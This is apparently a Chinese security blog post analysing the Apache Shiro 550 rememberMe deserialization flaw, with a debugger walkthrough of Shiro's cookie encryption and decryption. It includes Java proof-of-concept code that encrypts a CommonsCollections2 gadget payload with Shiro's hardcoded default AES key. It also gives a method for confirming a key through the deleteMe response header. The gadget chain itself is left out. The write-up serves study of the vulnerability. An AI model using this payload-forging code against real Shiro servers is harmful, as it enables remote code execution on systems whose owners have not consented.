前言

最近面试老是被问到shiro 550的洞,这个洞之前hvv中担任了很重要的角色,之前也只是使用工具做过攻击,也大概看过原理,却没有自己去分析过,所以赶紧学一下。

Shiro介绍

官方介绍:Shiro是Apache开源的一个功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理。

Shiro 架构中主要有三个核心的概念:Subject、 SecurityManager,、Realms

Subject:代表当前的用户

SecurityManager:管理者所有的 Subject,在官方文档中描述其为 Shiro架构的核心

RealmsSecurityManager的认证和授权需要使用RealmRealm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro的时候,我们必须指定至少一个Realm来实现认证(authentication)和授权(authorization

Shiro 550漏洞原理

在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化。

由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key 之后我们能够伪造任意的 rememberMe 从而触发反序列化漏洞。

Shiro到目前为止虽然已经更新了很多版本,但是并没有对反序列化漏洞进行解决,而是通过去掉硬编码的密钥Key从而采用动态密钥来解决这一漏洞,所以只要我们可以加密序列化数据即可达到攻击的效果。

环境搭建

下载shiro 1.2.4源码

# 拉取shiro框架源码
git clone https://github.com/apache/shiro.git
# 切换到shiro-root-1.2.4版本
git checkout shiro-root-1.2.4

使用IDEA打开shiro/samples/web/pom.xml项目

直接通过maven进行打包这里会报错,如下:

报错这里显示maven-toolchains-plugin需要通过jdk1.6来进行编译

需要在配置文件目录中添加toolchains.xml文件(不影响在其他版本下运行项目),内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\Program Files\Java\jdk1.6.0_45</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

pom.xml中的jstl依赖添加版本为1.2(这里我注释掉了好像也可以)

添加commons-collections4.0依赖,虽然shiro1.2.4中原本有commons-collections3.2.1的依赖,但是因为这里用到的jdk1.8无法利用cc1进行攻击,所以使用cc2进行攻击

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

然后添加idea运行配置

在部署中添加工件

运行结果:

Debug分析

加密

登录入口:DefaultSecurityManager#login,270行打上断点进行Debug:

输出正确的usernamepassword并勾选remember me登录

代码270行处authenticate方法对token(如下图,token包含用户信息)进行身份验证,验证失败会抛出AuthenticationException异常并执行onFailedLogin方法

身份验证成功则会创建Subject对象并进入到onSuccessfulLogin方法

onSuccessfulLogin方法如下,进入到rememberMeSuccessfulLogin方法

这里通过getRememberMeManager方法获取cookie信息,然后调用AbstractRememberMeManager#onSuccessfulLogin

293行forgetIdentity方法忘记之前的身份信息,然后判断是否勾选remember me,进入rememberIdentity方法

通过getIdentityToRemember获取PrincipalCollection对象(该类是一个Realm身份集合)后进到rememberIdentity方法

346行对用户信息进行编码处理,之后347行进行序列化操作,这里先看一下convertPrincipalsToBytes方法

360行进行序列化,之后通过getCipherService方法判断是否存在加密服务,之后进行加密,查看encrypt方法

加密操作在473行,传入了需要加密的序列化字符串和getEncryptionCipherKey方法获取的密钥

这里的密钥是从DEFAULT_CIPHER_KEY_BYTES常量中获取到的

加密后返回,回到rememberIdentity方法,进入rememberSerializedIdentity方法

对AES加密的序列化字符串再进行base64编码并设置到cookie中返回

解密

解密分析入口:DefaultSecurityManager#getRememberedIdentity

604行打上断点,发送如下请求进行Debug分析:

601行getRememberMeManager方法获取一些配置

604进到AbstractRememberMeManager#getRememberedPrincipals方法

393行getRememberedSerializedIdentity方法从请求中获取Cookie并进行base64解码

之后进到convertBytesToPrincipals方法

很明显这里先decrypt进行解密后通过deserialize反序列化

先看一下decrypt过程,和加密过程一样,通过密钥进行AES解密

然后进到deserialize方法反序列化

进到DefaultSerializer#deserialize进行反序列化

编写Poc

反序列化利用链就用之前的cc2,这里我们要做的是将序列化字符串进行AES加密

在pom.xml中加入如下内容,用于使用shiro的AES加密类

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.4</version>
</dependency>

编写加密:

public class Poc {
    public static void main(String[] args) throws Exception {
        // getcc2Poc方法返回cc2序列化内容
        byte[] data = getcc2Poc();
        
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aesCipherService = new AesCipherService();
        ByteSource encrypt = aesCipherService.encrypt(data, key);
        System.out.println(encrypt.toString());
    }
}

Poc中没有写cc2的利用链,利用时请自行补齐,将输出内容添加到rememverMe发送请求,攻击成功截图:

解决疑惑

这里本来不想使用shiro框架去实现AES加密的,结果没有复现成果

疑惑:shiro框架中使用的是CBC加密模式,其中有一个IV值,所以当只知道key的情况下应该不可以正常解密的呀!

解决:Debug深入看一下解密流程,如下图,在解密过程中提取前16字节作为IV值,其余的才是需要解密的内容

通过这个方法,我们再来编写一下CBC加密:

package com.ggbond.Shiro;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class PocTest {
    public static void main(String[] args) throws Exception {
        // 获取cc2利用链poc
        byte[] poc = new Poc().getcc2Poc();
        // IV值
        byte[] ivBytes = "1234567890123456".getBytes();
        // 合并IV和Poc
        byte[] data = byteMerger("1234567890123456".getBytes(), poc);
        // key值
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        // 进行CBC加密
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
        cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
        byte[] encrypted = cipher.doFinal(data);
        String s = Base64.getEncoder().encodeToString(encrypted);
        System.out.println(s);
    }
    public static byte[] byteMerger(byte[] bt1, byte[] bt2){
        byte[] result = new byte[bt1.length+bt2.length];
        System.arraycopy(bt1, 0, result, 0, bt1.length);
        System.arraycopy(bt2, 0, result, bt1.length, bt2.length);
        return result;
    }
}

攻击成功截图:

判断密钥是正确

发送正确密钥加密数据:

发送错误密钥加密数据:

发现二者差异就在于在响应头中存在rememberMe=deleteMe字段,当密钥错误时返回该字段

代码分析如下:AbstractRememberMeManager#getRememberedPrincipals

convertBytesToPrincipals解密失败会触发异常RuntimeException,从而进到onRememberedPrincipalFailure

执行forgetIdentity方法

如上图,会在Cookie中设置deleteMe